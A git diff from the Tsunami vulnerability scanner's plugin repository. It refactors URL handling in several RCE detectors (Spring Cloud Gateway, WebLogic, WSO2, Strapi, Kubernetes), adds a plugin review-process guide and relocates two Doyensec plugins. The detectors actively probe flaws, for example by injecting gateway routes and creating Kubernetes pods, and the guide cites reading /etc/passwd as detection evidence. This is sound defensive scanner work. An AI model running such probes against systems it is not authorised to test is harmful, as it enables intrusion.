b/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java @@ -22,8 +22,6 @@ import static com.google.common.net.HttpHeaders.ACCEPT_LANGUAGE; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; -import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; import static com.google.tsunami.common.net.http.HttpRequest.get; import static com.google.tsunami.common.net.http.HttpRequest.post; @@ -97,26 +95,6 @@ public final class Cve202222947VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown") - || NetworkServiceUtils.getServiceName(networkService).equals("rtsp"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -125,7 +103,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202222947VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -134,7 +112,7 @@ public DetectionReportList detect( private String createRouter(NetworkService networkService) throws IOException { String router = UUID.randomUUID().toString().replace("-", "").substring(0, 6); - String url = buildTarget(networkService).append(ROUTES).append(router).toString(); + String url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + ROUTES + router; String payload = new String(Base64.getDecoder().decode(POST_DATA)).replace(PLACEHOLDER, router); HttpResponse httpResponse = httpClient.send( @@ -198,14 +176,11 @@ private boolean isServiceVulnerable(NetworkService networkService) { if (tmpRouter.isEmpty()) { return false; } - refresh(buildTarget(networkService).append(REFRESH).toString(), networkService); - boolean requestRouteStatus = - requestRoute( - buildTarget(networkService).append(ROUTES).append(tmpRouter).toString(), - networkService); - deleteRoutes( - buildTarget(networkService).append(ROUTES).append(tmpRouter).toString(), networkService); - refresh(buildTarget(networkService).append(REFRESH).toString(), networkService); + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + refresh(rootUrl + REFRESH, networkService); + boolean requestRouteStatus = requestRoute(rootUrl + ROUTES + tmpRouter, networkService); + deleteRoutes(rootUrl + ROUTES + tmpRouter, networkService); + refresh(rootUrl + REFRESH, networkService); return requestRouteStatus; } catch (Exception e) { logger.atWarning().withCause(e).log("Request to target %s failed", networkService); diff --git a/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java b/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java index d34d317bf..2f656f577 100644 --- a/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java +++ b/community/detectors/strapi_cve_2023_22893/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202322893/Cve202322893VulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.ACCEPT_LANGUAGE; import static com.google.common.net.HttpHeaders.UPGRADE_INSECURE_REQUESTS; -import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; import static com.google.tsunami.common.net.http.HttpRequest.get; import com.google.common.annotations.VisibleForTesting; @@ -79,10 +78,6 @@ public final class Cve202322893VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static String buildTarget(NetworkService networkService) { - return buildWebApplicationRootUrl(networkService); - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -103,7 +98,8 @@ private boolean isServiceVulnerable(NetworkService networkService) { .addHeader(UPGRADE_INSECURE_REQUESTS, "1") .addHeader(ACCEPT_LANGUAGE, "en-US,en;q=0.5") .build(); - String targetUrl = buildTarget(networkService) + VULNERABLE_REQUEST_PATH; + String targetUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_REQUEST_PATH; try { HttpResponse httpResponse = httpClient.send(get(targetUrl).setHeaders(httpHeaders).build(), networkService); diff --git a/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java b/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java index 9d7408413..6b1fc2ce0 100644 --- a/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java +++ b/community/detectors/weblogic_cve_2020_14882/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202014882/Cve202014882VulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.COOKIE; import static com.google.common.net.HttpHeaders.SET_COOKIE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import com.google.common.annotations.VisibleForTesting; @@ -80,12 +79,6 @@ public class Cve202014882VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("afs3-callback"); - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -93,7 +86,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202014882VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -101,7 +94,8 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = buildTargetUrl(networkService); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; try { HttpResponse httpResponse = httpClient.send(get(targetUri).withEmptyHeaders().build(), networkService); @@ -157,19 +151,4 @@ private DetectionReport buildDetectionReport( "Go to the oracle official website to download the latest weblogic patch.")) .build(); } - - private static String buildTargetUrl(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(CHECK_VUL_PATH); - return targetUrlBuilder.toString(); - } } diff --git a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java index b3f7a2c59..e8c24a577 100644 --- a/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java +++ b/community/detectors/wso2_arbitrary_file_upload_cve_2022_29464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202229464/Cve202229464VulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONNECTION; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import static com.google.tsunami.common.net.http.HttpRequest.post; import static java.nio.charset.StandardCharsets.UTF_8; @@ -31,6 +30,7 @@ import com.google.common.util.concurrent.Uninterruptibles; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; import com.google.tsunami.common.net.http.HttpResponse; @@ -123,7 +123,7 @@ public DetectionReportList detect( @VisibleForTesting String buildRootUri(NetworkService networkService) { - return String.format("https://%s/", toUriAuthority(networkService.getNetworkEndpoint())); + return NetworkServiceUtils.buildWebApplicationRootUrl(networkService); } private boolean isServiceVulnerable(NetworkService networkService) { diff --git a/docs/contributing.md b/docs/contributing.md index 654a07164..c3411fe23 100644 --- a/docs/contributing.md +++ b/docs/contributing.md @@ -26,3 +26,9 @@ information on using pull requests. This project follows [Google's Open Source Community Guidelines](https://opensource.google/conduct/). + +## Public Review Process + +The [Public Review Process](publicreviewprocess.md) document provides a set of +guidelines on how Tsunami plugins are reviewed. This is meant to facilitate the +work of reviewers and contributors. diff --git a/docs/goodpr.png b/docs/goodpr.png new file mode 100644 index 000000000..907a78ad6 Binary files /dev/null and b/docs/goodpr.png differ diff --git a/docs/publicreviewprocess.md b/docs/publicreviewprocess.md new file mode 100644 index 000000000..f518e5e20 --- /dev/null +++ b/docs/publicreviewprocess.md @@ -0,0 +1,187 @@ +## Intended Audience + +This document provides a set of guidelines on how Tsunami plugins are reviewed. +This is meant to facilitate the work of reviewers and contributors. If you're +considering submitting a PR for a new plugin, please read this guide. + +## Goals and Philosophy + +* Tsunami supports a small manually curated set of vulnerabilities +* Tsunami detects high severity, RCE-like vulnerabilities, which are often + actively exploited in the wild +* Tsunami generates scan results with high confidence and minimal + false-positive rate +* Tsunami detectors are easy to implement +* Tsunami is easy to scale, executes fast and scans non-intrusively + +## Review Process + +### 1. General Review Prioritization + +All plugin reviewed are prioritized by the following factors: 1. Whether a +plugin is urgent. In other words, if the vulnerability is very critical and is +being actively exploited. 2. +[Since Mar 2024](https://bughunters.google.com/blog/5691890239930368/tsunami-network-scanner-ai-security), +whether a plugin is labeled as `ai-bounty-prp`. 3. Date of submission (reversed) + +### 2. Approve PRP Requests + +The approval of Tsunami plugins is entirely at our discretion, and it is subject +to Tsunami's top level goals and philosophy. If the vulnerability is RCE like +and is detectable in Tsunami with high confidence, we would generally accept the +request. + +Each PR is also evaluated based on the +[criteria below](#4-acknowledgements-and-evaluation). The overall quality and +reliability of the contribution will determine the reward (if applicable). + +### 3. Review Github Pull Requests + +#### Tsunami Plugin Review Process + +##### Check Verification Docker Images + +In the PR, first read through the descriptions and make sure that the +contributor has tested their plugin against the application version that is +vulnerable to the vulnerability, as well as against the application version with +the fixed code. This is to make sure that the plugin is working as intended. + +We've explicitly asked the participant to use Docker images for this +verification so two Docker images should be supplied in the description of the +PR. + +Older PRs might have inline instructions such as the following: + +![Verification Image on Older PRs](./verificationimageoldpr.png) + +For recent PRs (including AI-related plugins), the config should be submitted to +https://github.com/google/security-testbeds. For newly opened PRs, please ask +contributors to submit their config to the `security-testbeds` repo. + +> The Docker images should not contain private or proprietary content, such as +> licenses or activation keys. Instead, instructions on how to properly setup +> proprietary components should be provided. Additionally, consider providing +> Docker images with +> [multi-platform support](https://docs.docker.com/build/building/multi-platform/). + +##### Verify Unit Tests Pass + +At the bottom of the PR page, GitHub posted all pre-submit results as an info +card. A PR that passes all the test cases should look like: + +![Successful PR](./goodpr.png) + +Contributions that do not pass all checks will **not be accepted**. + +##### Verify The Plugin Detection Is High Quality + +- [ ] Check the plugin against the submitted secure and vulnerable containers + - [ ] Verify the vulnerability's existence in the vulnerable container. + This is meant to ensure the functional requirements. + - [ ] Verify that the detection is not false positive prone, not just + doing version fingerprinting and status code checking. More reliable + verification strategies like + [templated string](https://github.com/google/tsunami-security-scanner/blob/96b5229b67a2a2dcc0368451d6b04b4feae66e6e/plugin/src/main/resources/com/google/tsunami/plugin/payload/payload_definitions.yaml#L43) + and + [out-of-bound callback](https://github.com/google/tsunami-security-scanner/blob/96b5229b67a2a2dcc0368451d6b04b4feae66e6e/plugin/src/main/resources/com/google/tsunami/plugin/payload/payload_definitions.yaml#L35) + are provided as part of the payload generator framework. + - [ ] Verify that the detection works against the recent & popular + versions of the target software. + - [ ] Verify that the detection heuristics are sufficiently optimized to + ensure fast scans. + - [ ] Verify that the detector has good unit test coverage. Google's open + source projects should be thoroughly tested and there is no exception + for the Tsunami project. Unit testing makes sure the detector works + using fake data. + - [ ] Verify there are actionable resolution steps provided in the finding + with clear impacted versions (if version specific) and that the overall + reported vulnerabilities contain high quality information: + - [ ] Check severity level + - [ ] Check that the title and description are clear + - [ ] The remediation is actionable and clear + - [ ] The related CVE field is filled if applicable + - [ ] Verify if the detector includes key details for quality assurance + and debugging. For example, if the detector depends on presence of + custom content like `/etc/passwd`, it would be very helpful to include + the content in the + [AddtionalDetails](https://github.com/google/tsunami-security-scanner-plugins/blob/master/google/detectors/directorytraversal/generic_path_traversal_detector/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/genericpathtraversaldetector/GenericPathTraversalDetector.java#L198) + field of the vulnerability. + - [ ] At the end of the day, it is impossible to always foresee all + the ways for false positive detections to happen. As a result, + there's internal monitoring of the initial findings from each new + detector. Sometimes if we are not sure if a given concern/assumption + is valid, it is always a good idea to provide additional logs in the + detector to help debugging during the initial triage process. + - [ ] Determine the ability of the plugin to work multi-platform (*if + applicable*) + - [ ] Some of the vulnerable targets might be deployed on different + architectures and / or operating systems. The ability for the plugin + to work under all circumstances increases its detection + capabilities. At the minimum, the plugin must work on Linux based + operating systems. + +##### Verify The Plugin Implementation Is High Quality + +- [ ] The code is clean and easy to follow + * The contributor has run + [google-java-format](https://github.com/google/google-java-format). + * All the bootstrap comments are removed. + * No Java library imports are using wildcards character. They make code + brittle and difficult to reason about, both for programmers and for + tools. +- [ ] Comments are provided to address some non-obvious nuances in the + detection logic. Ideally, the comments should also contain details on the + specific vulnerability that the plugin is attempting to detect. +- [ ] Minimize new library dependency introduced, and check for duplication in + existing libraries, for example, there should only be one Json parser. +- [ ] Check the license of new dependencies, some of the forbidden licenses + are: + * *AGPL (Affero GPL)*, *OSL*, *SSPL*, *Cryptographic Autonomy License + (CAL)*, *CPAL*, *CPOL*, *European Union Public Licence (EUPL)*, *SISSL*, + *Watcom-1.0* + * When in doubt, check with the Tsunami team + +#### Tsunami Fingerprints Review Process + +##### Verify The Correctness Of The Fingerprints + +- [ ] Tsunami scanner should be able to detect target versions of the + application using the generated fingerprints. This is meant to ensure the + functional requirements. + +##### Verify The Quality of The "update.sh" Script + +- [ ] Check whether `update.sh` can be evoked locally with no runtime errors + so that it can be used continuously in the future to generate new + fingerprints for the newer version of the application. + +### 4. Acknowledgements and Evaluation + +#### Score the Contribution + +- [ ] The following metrics are used: + * Docker images are easy to use and comprehensive. This is required for + vulnerability detector plugins only + * Plugin detection / fingerprinting quality + * Contribution implementation quality + * Complexity + * Responsiveness + * Overall quality, thoroughness of the work + +#### Message To Both Contributors and the Tsunami Dev Team + +- [ ] Finalize the review by posting all comments using the PR review feature + of Github. Clarify all remaining todos with bullet points to ease the + contributor’s follow-up. Assuming that the expected changes have been + implemented by the contributor, the PR can be accepted. A final message + should provide an overall evaluation of the contribution: + +``` +Reviewer: + +Plugin: +Feedback: +Drawbacks: +``` diff --git a/docs/verificationimageoldpr.png b/docs/verificationimageoldpr.png new file mode 100644 index 000000000..30fb7701f Binary files /dev/null and b/docs/verificationimageoldpr.png differ diff --git a/doyensec/README.md b/doyensec/README.md index 2d89e9d59..8a75a2d16 100644 --- a/doyensec/README.md +++ b/doyensec/README.md @@ -2,12 +2,16 @@ ![doyensec-plugins-build](https://github.com/google/tsunami-security-scanner-plugins/workflows/doyensec-plugins-build/badge.svg) -This directory contains all Tsunami plugins published by Doyensec. +This directory contains all Tsunami plugins published by +[Doyensec](https://doyensec.com/). ## Currently released plugins ### Detectors +* [RCE in Kubernetes Cluster with Open Access](https://github.com/google/tsunami-security-scanner-plugins/tree/master/doyensec/detectors/kubernetes_rce_via_open_access) +* [RCE via Exposed Selenium Servers](https://github.com/google/tsunami-security-scanner-plugins/tree/master/doyensec/detectors/selenium_grid_rce_via_exposed_server) + ## Build all plugins Use the following command to build all Doyensec released plugins: diff --git a/community/detectors/kubernetes_rce_via_open_access/README.md b/doyensec/detectors/kubernetes_rce_via_open_access/README.md similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/README.md rename to doyensec/detectors/kubernetes_rce_via_open_access/README.md diff --git a/community/detectors/kubernetes_rce_via_open_access/build.gradle b/doyensec/detectors/kubernetes_rce_via_open_access/build.gradle similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/build.gradle rename to doyensec/detectors/kubernetes_rce_via_open_access/build.gradle diff --git a/community/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar rename to doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar diff --git a/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/kubernetes_rce_via_open_access/gradlew b/doyensec/detectors/kubernetes_rce_via_open_access/gradlew similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/gradlew rename to doyensec/detectors/kubernetes_rce_via_open_access/gradlew diff --git a/community/detectors/kubernetes_rce_via_open_access/gradlew.bat b/doyensec/detectors/kubernetes_rce_via_open_access/gradlew.bat similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/gradlew.bat rename to doyensec/detectors/kubernetes_rce_via_open_access/gradlew.bat diff --git a/community/detectors/kubernetes_rce_via_open_access/settings.gradle b/doyensec/detectors/kubernetes_rce_via_open_access/settings.gradle similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/settings.gradle rename to doyensec/detectors/kubernetes_rce_via_open_access/settings.gradle diff --git a/community/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java b/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java similarity index 88% rename from community/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java rename to doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java index b5fc1f9a3..ce4326d77 100644 --- a/community/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java +++ b/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.annotations.VisibleForTesting; @@ -66,8 +65,7 @@ public final class RCEInKubernetesClusterWithOpenAccessDetector implements VulnDetector { @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; - @VisibleForTesting - static final String VULNERABILITY_REPORT_ID = "KUBERNETES_WITH_OPEN_ACCESS"; + @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "KUBERNETES_WITH_OPEN_ACCESS"; @VisibleForTesting static final String VULNERABILITY_REPORT_TITLE = "Kubernetes Open Access Remote Code Execution"; @@ -121,10 +119,7 @@ public final class RCEInKubernetesClusterWithOpenAccessDetector implements VulnD throws IOException { this.utcClock = checkNotNull(utcClock); - // TODO: HTTPS with insecure cert fails (despite the trustAllCertificate set below) with: - // javax.net.ssl.SSLHandshakeException. - // Must run tsunami with option: --http-client-trust-all-certificates for it to take effect. - this.httpClient = checkNotNull(httpClient).modify().setTrustAllCertificates(true).build(); + this.httpClient = checkNotNull(httpClient); this.payloadGenerator = checkNotNull(payloadGenerator); this.payloadFormatString = @@ -144,9 +139,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - // TODO: This filter doesn't trigger this detector. - // .filter(NetworkServiceUtils::isWebService) - + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -208,25 +201,10 @@ private boolean isServiceVulnerable(NetworkService networkService) { return isVulnerable; } - private static String buildTargetUrl(NetworkService networkService, String path) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Default to HTTPS protocol when the scanner cannot identify the actual service. - // which is what Kubernetes API server normally uses. - targetUrlBuilder - .append("https://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(path); - return targetUrlBuilder.toString(); - } - private boolean createPod(NetworkService networkService, String podName, String payload) { - String targetUri = buildTargetUrl(networkService, "api/v1/namespaces/default/pods"); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + "api/v1/namespaces/default/pods"; logger.atInfo().log("Creating pod via Kubernetes service at '%s'", targetUri); HttpRequest req = @@ -255,7 +233,10 @@ private boolean createPod(NetworkService networkService, String podName, String } private boolean deletePod(NetworkService networkService, String podName) { - String targetUri = buildTargetUrl(networkService, "api/v1/namespaces/default/pods/" + podName); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + "api/v1/namespaces/default/pods/" + + podName; logger.atInfo().log("Deleting Kubernetes pod at '%s'", targetUri); diff --git a/community/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorBootstrapModule.java b/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorBootstrapModule.java similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorBootstrapModule.java rename to doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorBootstrapModule.java diff --git a/community/detectors/kubernetes_rce_via_open_access/src/main/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/payloadFormatString.json b/doyensec/detectors/kubernetes_rce_via_open_access/src/main/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/payloadFormatString.json similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/src/main/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/payloadFormatString.json rename to doyensec/detectors/kubernetes_rce_via_open_access/src/main/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/payloadFormatString.json diff --git a/community/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithCallbackServerTest.java b/doyensec/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithCallbackServerTest.java similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithCallbackServerTest.java rename to doyensec/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithCallbackServerTest.java diff --git a/community/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithOutCallbackServerTest.java b/doyensec/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithOutCallbackServerTest.java similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithOutCallbackServerTest.java rename to doyensec/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetectorWithOutCallbackServerTest.java diff --git a/community/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/TestHelper.java b/doyensec/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/TestHelper.java similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/TestHelper.java rename to doyensec/detectors/kubernetes_rce_via_open_access/src/test/java/com/google/tsunami/plugins/detectors/rce/kubernetes/TestHelper.java diff --git a/community/detectors/kubernetes_rce_via_open_access/src/test/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/validRCEResponse.json b/doyensec/detectors/kubernetes_rce_via_open_access/src/test/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/validRCEResponse.json similarity index 100% rename from community/detectors/kubernetes_rce_via_open_access/src/test/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/validRCEResponse.json rename to doyensec/detectors/kubernetes_rce_via_open_access/src/test/resources/com/google/tsunami/plugins/detectors/rce/kubernetes/validRCEResponse.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/README.md b/doyensec/detectors/selenium_grid_rce_via_exposed_server/README.md similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/README.md rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/README.md diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/build.gradle b/doyensec/detectors/selenium_grid_rce_via_exposed_server/build.gradle similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/build.gradle rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/build.gradle diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.jar diff --git a/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/gradlew b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/gradlew rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat b/doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/gradlew.bat diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/settings.gradle b/doyensec/detectors/selenium_grid_rce_via_exposed_server/settings.gradle similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/settings.gradle rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/settings.gradle diff --git 